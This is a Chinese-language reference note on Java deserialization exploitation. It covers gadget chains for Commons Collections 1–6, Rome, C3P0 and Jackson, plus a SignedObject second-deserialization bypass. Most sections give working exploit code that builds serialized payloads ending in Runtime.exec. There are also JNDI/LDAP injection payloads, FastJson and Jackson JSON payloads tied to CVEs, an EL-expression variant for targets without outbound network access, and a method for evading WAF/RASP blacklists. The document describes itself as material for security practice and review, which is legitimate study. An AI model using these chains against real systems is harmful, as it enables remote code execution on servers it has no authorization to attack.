JAVA反序列化利用链完整梳理笔记
导读: 本文档是对 Java 反序列化主流利用链(Commons Collections、Rome、C3P0、Jackson等)的深度梳理与重构。去除了原 PDF 杂乱的行号与排版问题,提取核心调用流(Gadget Chains)和 EXP 逻辑,适合网安人员作为实战和复习的参考手册。
[TOC]
一、 Commons Collections 1 (CC1)
- JDK版本限制:
jdk8u65及以下(后续版本修改了AnnotationInvocationHandler的逻辑导致失效) - 利用依赖:
commons-collections:3.2.1
CC1 存在两个经典入口点,分别是基于 TransformedMap 和 LazyMap。
1. 基于 TransformedMap 的入口
入口触发: AnnotationInvocationHandler.readObject()调用链 (Gadget Chain):
AnnotationInvocationHandler.readObject()AbstractInputCheckedMapDecorator.MapEntry.setValue()TransformedMap.checkSetValue()ChainedTransformer.transform()InvokerTransformer.transform()Method.invoke("Runtime.exec", "calc")
核心 EXP 代码:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", 1);
Map<Object, Object> decorated = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorated);
// 将 o 进行序列化即可触发2. 基于 LazyMap 的入口
入口触发: AnnotationInvocationHandler.invoke()相比于 TransformedMap 在修改值时触发,LazyMap 是在调用 get() 获取不到 key 时触发 factory.transform(key)。通过动态代理机制,AnnotationInvocationHandler.invoke() 可以劫持方法调用并触发 get()。
核心 EXP 代码:
// ... 前期准备 chainedTransformer 链的代码与上方一致 ...
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> decorated = LazyMap.decorate(map, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorated);
Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = constructor.newInstance(Target.class, newMap);
// 序列化 o 对象二、 Commons Collections 6 (CC6)
- 特性: 不受 JDK 版本限制,实战中最常用的 CC 链。
- 利用依赖:
commons-collections:3.2.1
调用链 (Gadget Chain):
java.io.ObjectInputStream.readObject()java.util.HashSet.readObject()->java.util.HashMap.put()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()... (后续调用 Runtime.exec)
原理解析: 前端触发点使用了所有环境都有的 HashMap。在 HashMap 反序列化恢复数据计算哈希时,调用 TiedMapEntry.hashCode(),其内部会调用 getValue() 进而触发 LazyMap.get()。
核心 EXP 代码:
// ... 构造 chainedTransformer ...
Map<Object, Object> map = new HashMap<>();
// 先用 ConstantTransformer(1) 占位,防止在本地 put 时误触发命令执行
Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, null);
map.remove(null); // 清除本地 put 时产生的残留数据
// 利用反射将真正的恶意 ChainedTransformer 塞进 lazymap 的 factory 中
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, chainedTransformer);
// 序列化 hashMap三、 Commons Collections 3 (CC3)
CC3 不再直接使用 InvokerTransformer 执行反射方法,而是引入了 TemplatesImpl 动态加载字节码的机制。这在过滤了特定的 Runtime.exec 时非常有效。 触发点在于调用 templates.getOutputProperties() 或 templates.newTransformer()。
动态加载字节码生成 (Javassist):
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass maliciousClass = classPool.makeClass("evil");
maliciousClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = maliciousClass.makeClassInitializer();
constructor.insertBefore("Runtime.getRuntime().exec(\"calc\");");
byte[] classBytes = maliciousClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "Test");
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{classBytes});
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());配合 TrAXFilter 和 InstantiateTransformer 触发: TrAXFilter 构造中包含了 templates.newTransformer()。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 接着像 CC1/CC6 一样挂载到 LazyMap 上即可四、 Commons Collections 4 (CC4)
- 利用依赖:
commons-collections4:4.0(注意是 4 系列版本)
CC4 使用了 CC3 的前半部分(TemplatesImpl),但在链中段使用 TransformingComparator.compare() 替代了 LazyMap.get() 来触发 transform()。前端使用 PriorityQueue 触发。
调用链 (Gadget Chain):
PriorityQueue.readObject()heapify()->siftDownUsingComparator()TransformingComparator.compare()ChainedTransformer.transform()
核心 EXP 代码:
// templates 对象准备同 CC3...
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field transformer = TransformingComparator.class.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, chainedTransformer);
// 序列化 priorityQueue五、 Commons Collections 2 (CC2)
- 利用依赖:
commons-collections4:4.0
CC2 与 CC4 类似,但它直接使用 InvokerTransformer 来调用 TemplatesImpl.newTransformer(),省去了 ChainedTransformer 的构造。
核心 EXP 代码:
// templates 对象准备同 CC3...
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates); // 必须把 templates 塞进去作为 compare 的对象
priorityQueue.add(2);
Field transformer = TransformingComparator.class.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, invokerTransformer);
// 序列化 priorityQueue六、 Commons Collections 5 (CC5)
- 利用依赖: 回归老版本
commons-collections
使用了 JMX 中的 BadAttributeValueExpException 作为入口类。
调用链 (Gadget Chain):
BadAttributeValueExpException.readObject()TiedMapEntry.toString()->getKey() + "=" + getValue()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()
核心 EXP 代码:
// chainedTransformer 准备同 CC1...
Map<Object, Object> map = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);
// 序列化 badAttributeValueExpException七、 Rome反序列化
Rome 是一个用于处理 XML/RSS 数据的库。它的反序列化可以巧妙触发 getter 方法,从而连接到 TemplatesImpl。
- 利用依赖:
rome:1.0,javassist:3.21.0-GA
1. HashCode + TemplatesImpl 链
调用逻辑: HashMap.readObject() -> EqualsBean.beanHashCode() -> ToStringBean.toString() -> TemplatesImpl.getOutputProperties()
核心 EXP 代码:
// templates 对象准备同 CC3...
ToStringBean toStringBean = new ToStringBean(Templates.class, templates); // 这里先用一个安全的类占位
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> map = new HashMap<>();
map.put(equalsBean, "1");
// 反射将 toStringBean 的 _obj 替换为真实的恶意 templates 对象
Field aa = toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean, templates);
// 序列化 map2. JdbcRowSetImpl 链 (JNDI 注入)
在链尾调用 getter 方法时,如果调用到 JdbcRowSetImpl.getDatabaseMetaData(),其内部会触发 connect(),进而引发 JNDI 注入。
核心 EXP 代码:
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1230/ExportObject"); // 恶意 JNDI 链接
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "123");
// 序列化 hashMap3. BadAttributeValueExpException 链
利用 BadAttributeValueExpException.readObject() 直接调用 ToStringBean.toString()。
八、 C3P0连接池反序列化
C3P0 实现了数据源和 JNDI 绑定,支持加载远程或本地类的漏洞利用。
- 利用依赖:
com.mchange:c3p0:0.9.5.2
1. URLClassLoader 链
调用链: PoolBackedDataSourceBase.readObject() -> ReferenceIndirector.getObject() -> ReferenceableUtils.referenceToObject() -> URLClassLoader 利用 PoolSource 构造指定的 className 和 url,使反序列化时通过 URLClassLoader 去远程加载恶意类。
2. JNDI 注入
JndiRefForwardingDataSource.dereference() 中会直接调用 ctx.lookup(jndiName)。 在 FastJson 中常作为 Payload:
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource", "jndiName":"ldap://127.0.0.1:1230/remoteObject", "LoginTimeout":"1"}3. 不出网利用 (BeanFactory + EL表达式)
如果目标不出网(无法加载远程类),可以通过指定 classFactory 为本地已有的 BeanFactory,结合 javax.el.ELProcessor 执行本地 EL 表达式命令。
核心配置 (PoolSource 中的 getReference 逻辑):
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "sentiment=eval"));
ref.add(new StringRefAddr("sentiment", "Runtime.getRuntime().exec(\"calc\")"));
return ref;九、 JackSon反序列化
Jackson 在处理多态反序列化时(特别是配置不当的情况下),会自动调用属性所属类的无参构造函数和 Setter 方法,甚至特定条件下的 Getter 方法。
漏洞前置条件:
- 调用了
ObjectMapper.enableDefaultTyping()或存在类似配置。 - 对要反序列化的类的属性使用了
@JsonTypeInfo注解并指定了类名标识。
1. TemplatesImpl 利用链 (CVE-2017-7525)
如果在 JSON 载荷中指定对象类型为 TemplatesImpl,并在 JSON 字段中传入了 transletBytecodes (字节码),Jackson 会调用它的 setter 并最终导致命令执行。 (注:高版本 Jackson 中因无法通过 JSON 给私有且无 setter 的 _tfactory 赋值,此链在较新版本中受限)
JSON Payload 示例:
{
"object": [
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes": ["<Base64编码的恶意字节码>"],
"transletName": "evil",
"outputProperties": {}
}
]
}2. ClassPathXmlApplicationContext (CVE-2017-17485)
结合 Spring 组件,通过指定反序列化类型为 ClassPathXmlApplicationContext,从而引入恶意的 Spring XML 配置(常用于触发 SpEL 表达式注入)。
JSON Payload 示例:
["org.springframework.context.support.ClassPathXmlApplicationContext", "[http://127.0.0.1:9000/spel.xml](http://127.0.0.1:9000/spel.xml)"]十、 进阶:toString原生与SignObject二次反序列化
1. 基于 POJONode 的 toString 原生反序列化
Jackson 中的 POJONode.toString() 可以直接触发该对象内部包裹对象的任意 Getter 方法。 调用链: BadAttributeValueExpException.readObject() -> POJONode.toString() -> BaseJsonNode.toString() -> InternalNodeMapper.nodeToString() -> TemplatesImpl.getOutputProperties()
2. SignObject 二次反序列化 bypass
有时候一些类被加入了 WAF/RASP 的反序列化黑名单(比如在第一层 readObject 时拦截)。java.security.SignedObject 包含另一个 Serializable 对象。 它的 getObject() 方法内部会再次创建一个 ObjectInputStream 执行第二次 readObject()。
二次反序列化核心代码 (SignedObject 源码):
public Object getObject() throws IOException, ClassNotFoundException {
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject(); // 第二次触发反序列化!
b.close();
a.close();
return obj;
}我们可以利用 Rome 或 CC 链等能触发任意 getter 方法的逻辑(例如 ToStringBean),去触发 SignedObject.getObject(),从而在系统内部“隐蔽”地发起第二次反序列化,绕过外层的安全检查。